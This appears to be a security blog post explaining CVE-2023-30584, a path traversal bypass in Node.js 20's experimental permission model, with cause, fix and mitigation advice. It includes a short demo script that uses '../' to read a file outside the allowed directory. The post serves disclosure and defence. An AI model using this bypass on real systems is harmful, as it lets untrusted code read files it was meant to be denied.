Node.js is one of the world’s most popular server-side runtimes, powering everything from small apps to large-scale services. In early 2023, a vulnerability surfaced that exposed some critical gaps in Node.js 20’s experimental permission model. Tracked as CVE-2023-30584, this bug deals with a path traversal bypass that lets attackers override the intended file access permissions.

In this detailed post, we'll explain what happened, walk through a demo, and link out to key original resources. If you're running Node.js 20 with the permission model enabled, this one's for you—even if it’s still just in the experiment phase.

What Is the Node.js Permission Model?

The permission model is an experimental feature in Node.js 20 (documentation), designed to limit file system, child process, and worker thread access at runtime. It helps mitigate risks if someone sneaks malicious code into your app—ideally, forbidden files are blocked.

You might enable permissions like this

node --experimental-permission --allow-read=/app/config config-reader.js

This command grants read access *only* to /app/config.

The Issue: Path Traversal Bypass Vulnerability

The protection was supposed to work as shown above. But CVE-2023-30584 found that path checks weren't strict enough. It was possible to trick Node.js into accessing files outside the allowed boundaries by exploiting path traversal (using ../ and similar techniques).

In Simple Terms

If you only allowed reading /app/config, an attacker who gained code execution could reach files like /app/secret.txt using crafted paths.

- Example: fs.readFileSync("/app/config/../secret.txt")
That path resolves to /app/secret.txt. The permission model failed to properly catch and block this.

Let’s see it in practice. Imagine you have these files on your server

- /app/config/settings.json
- /app/secret.txt

And you run Node.js like so (read-only /app/config)

node --experimental-permission --allow-read=/app/config exploit-demo.js

Your exploit-demo.js file might look like this

// exploit-demo.js

const fs = require('fs');

// Should only be able to read settings.json, but...
try {
  // Bypasses allowed path using "../"
  const secret = fs.readFileSync('/app/config/../secret.txt', 'utf8');
  console.log('Contents:', secret);
} catch (e) {
  console.error('Error reading secret:', e.message);
}

Expected Result: Permission denied error

Actual Result: The contents of /app/secret.txt are printed to the console.

> Note: This works on vulnerable versions of Node.js 20 with the experimental permission feature.

Why Does This Happen?

Node.js 20’s experimental permission model failed to properly resolve and normalize file paths before checking if access should be allowed or not. Attackers could use relative path notation to jump out of approved directories.

The code checked the raw path string, *not* the fully resolved path.

- This let ../ move the pointer outside the permitted space.

Security Impact

- Attackers: Code running in your app, such as third-party modules or injected scripts, can abuse this to read sensitive files outside allowed directories.

Developers: The permission model *does not* offer real sandboxing until fixed.

- Mitigation: Do not rely on the permission model for security in production. Use containerization, file system ACLs, and regular Node.js upgrades.

The Node.js team fixed this by making sure all paths are strictly resolved and compared before allowing any access (see commit).

Official references

- Node.js CVE-2023-30584 Security Release
- Node.js Permission Model Documentation
- Node.js GitHub Pull Request - Fixes path traversal bypass
- NVD Entry for CVE-2023-30584

Summary & Recommendations

- Don’t trust the experimental permission model for real security until it comes out of preview and you’re running patched versions.

Keep Node.js up to date to get the latest security fixes.

- When handling untrusted code, use extra isolation layers (like containers or VMs) – don’t rely on experimental features alone.


Stay secure! For more Node.js vulnerability tips, follow the official Node.js Security team on Twitter and regularly scan your apps for issues.


If you need help or want to discuss, check out the Node.js Security Working Group or drop into the #node-security channel on OpenJS Foundation Slack.


*This post is exclusive to our readers: direct, no-nonsense info on CVE-2023-30584 and its real-world implications for Node.js users.*

Timeline

Published on: 09/07/2024 16:15:02 UTC
Last modified on: 09/09/2024 19:35:02 UTC